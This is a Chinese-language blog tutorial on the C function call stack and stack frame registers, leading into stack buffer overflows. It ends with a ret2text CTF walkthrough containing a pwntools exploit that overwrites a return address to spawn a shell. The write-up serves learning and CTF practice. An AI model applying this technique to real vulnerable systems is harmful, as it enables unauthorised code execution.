C语言函数调用栈和栈溢出漏洞
2025-08-19 20:45:47 # 二进制安全

前言

本节来介绍一下最基础的漏洞,栈溢出漏洞,以及如何去构造ROP链[1]

函数调用栈

函数调用栈是指程序运行时内存一段连续的区域,其用来保存函数运行时的状态信息,包括函数参数与局部变量等

称之为“栈”,是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶。

在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。

函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,出栈时变大!

image-20250817224202935

栈帧结构

完整的栈帧结构如下:

image-20250817225009131

涉及函数状态的三个寄存器esp、ebp、eip

本章讲述的内容属于32位处理器,在64位寄存器中是为rsprbprip

esp(stack pointer)用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。

ebp(base pointer)用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。

eip(extended instruction pointer)用来存储即将执行的程序指令的地址,cpu依照eip的存储内容读取指令并执行,eip随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

下面让我们来看看发生函数调用时,栈顶函数状态以及上述寄存器的变化。

保存caller的状态,创建callee的状态

变化的核心任务是将调用函数(caller)的状态保存起来,同时创建被调用函数(callee)的状态。

首先将被调用函数(callee)的参数按照逆序依次压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数仍会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。

image-20250818105621693

然后调用函数(caller)进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数(caller)的eip(指令)信息得以保存。

image-20250818112007598

再将当前的ebp寄存器的值(也就是调用函数的基地址)压入栈内,并将ebp寄存器的值更新为当前栈顶的地址。这样调用函数(caller)的ebp(基地址)信息得以保存。同时,ebp被更新为调用函数(callee)的基地址。

image-20250818114930821

再之后是将被调用函数(callee)的局部变量等数据压入栈内

image-20250818115321270

在压栈的过程中,esp寄存器的值不断减小(对于栈从内存高地址向低地址生长)。

压入栈内的数据包括调用参数、返回地址、调用函数的基地址,以及局部变量,其中调用参数以外的数据共同构成了被调用函数(callee)的状态

在发生调用时,程序还会将被调用函数(callee)的指令地址存到eip寄存器内,这样程序就可以依次执行被调用函数的指令了。

丢弃callee的状态,并将栈顶恢复为caller的状态

看了函数调用发生时的情况,就不难理解函数调用结束时的变化。

变化的核心任务是丢弃被调用函数(callee)的状态,并将栈顶恢复为调用函数(caller)的状态。

首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数(callee)的基地址。

image-20250818125913829

然后将基地址(callee的基地址)内存储的调用函数(caller)的基地址从栈内弹出,并存到ebp寄存器内。这样调用函数(caller)的ebp(基地址)信息得以恢复、此时栈顶会指向返回地址。

此时就是将callee的基地址内的值给了ebp寄存器,这样ebp寄存器里的值就成了caller的基地址,ebp地址增大,上移。⚠️⚠️⚠️

image-20250818130942751

再将返回地址从栈内弹出,并存到eip寄存器内。这样调用函数(caller)的eip(指令)信息得以恢复。

image-20250818131138098

至此调用函数(caller)的函数状态就全部恢复了,之后就是继续执行调用函数的指令了。

调用栈的工作方式

下面介绍一下代码的整体的工作方式:

C语言代码转换为汇编代码

此汇编代码的风格为AT&T 语法,不是常用的intel语法,图片截取ppt内容的。

AT&T 语法和intel语法是有点不同的对于汇编语言。

例如:

AT&T 语法

mov $0x10, %eax 将0x10移动到寄存器eax中。

intel 语法

mov eax, 0x10 将0x10移动到寄存器eax中。

这个前后顺序不一样。

image-20250818143609707

1、压栈上一个caller的基地址

%esp表示esp寄存器中的值。$表示立即数(Immediate Value),也就是一个固定的、写在代码里的常量值。$0x10表示16进制数10,也就是十进制数16。

image-20250818143633587

2、将%esp赋值给%ebp

将esp寄存器中的值,赋值给ebp寄存器中。

image-20250818180044334

3、%esp = %esp - 0x10

将esp寄存器中的地址减去16个字节,因为是32位,每行就是4个字节,32位,所以是下移4行。

image-20250818180214400

4、逆序压栈 $0x3 $0x2 $0x1

对参数进行压栈,这里要注意是逆序压栈。因为是int类型,所以就是三行。

image-20250818180243456

5、call 1f <callee>

调用位于内存地址0x1f处的那个函数(即callee)。

这里的return address(calle)指的是call这条命令的下一条地址,即汇编代码23: 83 c4 0c add $0xc,%esp的地址。

这是为了确保函数调用后程序流能正确恢复。当后面运行时,callee执行到ret指令的时候,23的地址会被给到%eip,即下一条准备执行的命令,恢复正常运行。

image-20250818180310250

6、压栈上一个caller的基地址,将%esp赋值给%ebp

将caller的基地址压栈。

image-20250818180339731

7、%eax = 1+2+3

将%ebp+0x8地址处的值,赋值给%edx

将%ebp+0xc地址处的值,赋值给%eax

%edx = %edx + %eax 寄存器中的值相加

将%ebp+0x10地址处的值,赋值给%eax

%eax = %eax + %edx 寄存器中的值相加存储到%eax中。

最后计算的结果为:%eax = 1 + 2 + 3

image-20250818180406945

8、pop %ebp

弹出栈内的caller的基地址,然后将其赋值为ebp寄存器,ebp的地址变为caller的基地址,上移。

image-20250818180510466

9、 ret

将前面说的23的地址再弹出,并将其赋值eip寄存器,这样就回到了caller程序了。

image-20250818180541991

10、%esp = %esp + 0xc

1,2,3已经计算好了,esp进行上移。

image-20250818180604092

11、%eax = callee(1,2,3)

将eax寄存器的值赋值给(%ebp - 0x4)地址处。

(%ebp - 0x4)地址处的值再加上 0x4

再将(%ebp - 0x4)地址处的值赋值给 eax 寄存器。

image-20250818180648767

12、leave: mov %ebp, $esp

执行leave命令第一步:

将ebp寄存器中的值赋值给esp,这样%esp的值会变大,上移。

image-20250818180713885

13、leave: pop %ebp

弹出caller的caller的基地址,并赋值给ebp,以此循环,执行全部的。

image-20250818180759956

14、ret

image-20250818180833183

程序的整个过程x86-64测试(实例)

我在我的Ubuntu机器(x86-64)上编写了一个C语言程序test.c,如下:

1
2
3
4
5
6
7
8
#include<stdio.h>
int sum(int x,int y){
return x+y;
}
int main(){
sum(1,2);
return 0;
}

编译成可执行文件 gcc ./test.c -o test,然后使用objdump -d test,去生成可执行文件的汇编代码,如下:

这个是AT&T 语法,注意赋值的先后顺序。后面我使用gdb进行调试的时候是intel语法。

AT&T 语法是左到右赋值,intel语法是右到左赋值。

image-20250819132557237

下面我们去使用gdb去进行一步步的调试。特意断点从main函数的%rbp开始,因为这是64位的,这里其实就是32为的%ebp

首先gdb ./test,然后break *main,然后run

1、endbr64

image-20250819145417000

2、 push rbp;mov rbp, rsp

输入n进入下一步。

注意,这里是还没有执行mov rbp,rsp,因为RIP寄存器的值为:0x555555555149,它是表示下一条要执行的指令。

image-20250819145659679

3、逆序压栈,mov esi, 2;mov edi,1

image-20250819150801633

4、call sum

这里输入stepi进入到sum子函数中。

image-20250819151117400

5、进入sum函数执行

这个子函数的执行流程就和前面说的32位的类似,这里就不赘述了。

image-20250819151501954

细节点,和前面的32位的过程一致,在栈中rbp前一个的内容

1
01:0008│-008 0x7fffffffe298 —▸ 0x555555555158 (main+23)

即为call sum的下一条指令的地址,即return address的地址。

image-20250819152646243

还有在栈中,会将main函数的基地址压入栈中。

此时rbp寄存器所指的地址里面的值0x7fffffffe2a0,即为main函数的基地址。

image-20250819153951687

6、执行ret回到main函数

image-20250819151947212

栈溢出攻击

回归重点部分,前面主要介绍了C语言中的函数调用栈,学习调用栈的目的就是为了去理解栈溢出攻击是怎么回事,为什么会有栈溢出攻击。

当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权才会在函数状态之间发生跳转,这是才可以通过修改函数状态来实现攻击。

程序控制执行指令最关键的寄存器就是eip(32位)、rip(64位),所以我们的目标就是让eip或rip载入攻击指令的地址。

先来看看函数调用结束时,如果要让eip(32位)指向攻击指令,需要哪些准备?

首先,在退栈过程中,返回地址会被传给eip,所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次,我们可以在溢出数据内包含一段攻击指令,也就可以字啊内存其它位置寻找可用的攻击指令。

image-20250819154807160

缓冲区溢出(Buffer overflow)

本质是向定长的缓冲区中写入了超长的数据,造成超出的数据覆写了合法内存区域

image-20250819155419643

篡改栈帧上的返回地址为程序中已有的后门函数。

image-20250819155532968

栈溢出如何去攻击执行命令?

篡改栈帧上的返回地址为攻击者手动传入的shellcode所在缓冲区地址。

初期往往将shellcode直接写入栈缓冲去。目前由于the NX bits保护措施的开启,缓冲区不可执行,故当下的常用手段变为bss缓冲区写入shellcode或向堆缓冲区写入shellcode并使用mprotect赋予其可执行权限

image-20250819162543677

简单的栈溢出实例

练习的题目为ret2text

使用IDA pro查看

image-20250819163627570

使用了危险函数gets

image-20250819163658880

溢出测试

输入任意字符,超过了8个char,出现了溢出。

报错Segmentation fault

image-20250819163536857

尝试进行栈溢出攻击

checksec ret2text,首先检查安全保护机制。

image-20250819164254926

可知:

(1)Arch: i386-32-little

  • 架构: 32位 Intel x86 架构
  • 字节序: 小端序(little endian)
  • 意味着寄存器是 32 位

(2)RELRO: Partial RELRO

  • RELRO: RELocation Read-Only,重定位只读保护
  • Partial RELRO: 部分启用,.got 表可以被修改
  • 安全影响: 攻击者可能修改 GOT 表进行劫持

(3)Stack: No canary found

  • 栈保护: 没有启用栈保护机制(栈随机化保护)
  • 安全影响: 容易受到栈溢出攻击,可以覆盖返回地址

(4) NX: NX enabled

  • NX: No-eXecute,禁止执行位
  • 启用状态: 已启用
  • 安全影响: 栈和堆上的数据不能被执行,防止直接注入 shellcode

(5)PIE: No PIE (0x8048000)

  • PIE: Position Independent Executable,位置无关可执行
  • 状态: 未启用,程序基地址固定为 0x8048000
  • 安全影响: 程序地址固定,便于ROP攻击和地址预测

使用gdb去调试,调试到这一步,注意到了代码中的ebp - 0x10,即ebp地址下移了16个字节,这里是为了后面的gets函数输入字符串开辟的空间。

image-20250819192952950

然后调试代码到gets函数的位置,输入字符。这里我输入了10 * 'A',注意栈的内容。

image-20250819193352085

这里stack 20,多看几个栈的内容。发现10 * A根本覆盖不了。

image-20250819193553789

实际情况是下面这样的。

1
2
3
4
5
6
7
8
9
10
11
00:0000│ esp 0xffffd3b0 —▸ 0xffffd4a4 —▸ 0xffffd601 ◂— '/root/pwn/pwnchallenge/ROP/ret2text'
01:0004│-014 0xffffd3b4 —▸ 0xf7ffcb80 (_rtld_global_ro) ◂— 0
02:0008│ eax 0xffffd3b8 ◂— 'AAAAAA'
03:000c│-00c 0xffffd3bc ◂— 'AAAAAA'
04:0010│-008 0xffffd3c0 ◂— 0x8004141 /* 'AA' */
05:0014│-004 0xffffd3c4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 1
06:0018│ ebp 0xffffd3c8 —▸ 0xffffd3d8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
07:001c│+004 0xffffd3cc —▸ 0x80485ae (main+93) ◂— sub esp, 0xc
08:0020│+008 0xffffd3d0 —▸ 0xffffd3f0 ◂— 1
09:0024│+00c 0xffffd3d4 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
0a:0028│+010 0xffffd3d8 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0

我们的目的是要把0x80485ae (main+93)给覆盖成我们想要的shell的地址,这样在执行的时候就会执行到我们的shell地址。

所以10 * A是不够的,要20个字节才行,用16 * 'A' + 'BBBB',这里的BBBB覆盖掉了ebp指向的上一个程序的基地址。

在使用IDA pro进行逆向时候,发现存在get_shell函数,其地址为0x08048522

image-20250819194816925

再结合我们填充的垃圾字符,最后我们注入的内容为:

16 * 'A' + 'BBBB' + 0x08048522

这里的地址要做一个32位的转换,使用p32(0x08048522)

所以,最后使用ret2text_exp.py进行攻击:

1
2
3
4
5
6
from pwn import *
io = process("../ret2text")
io.recvline()
payload = b'A' * 16 + b'BBBB' + p32(0x08048522)
io.send(payload)
io.interactive()

成功获取shell。

image-20250819183955078

参考


  1. 【XMCVE 2020 CTF Pwn入门课程】https://www.bilibili.com/video/BV1854y1y7Ro?p=3&vd_source=40fffae7c3c0198962dc9cf9689a1a8a ↩︎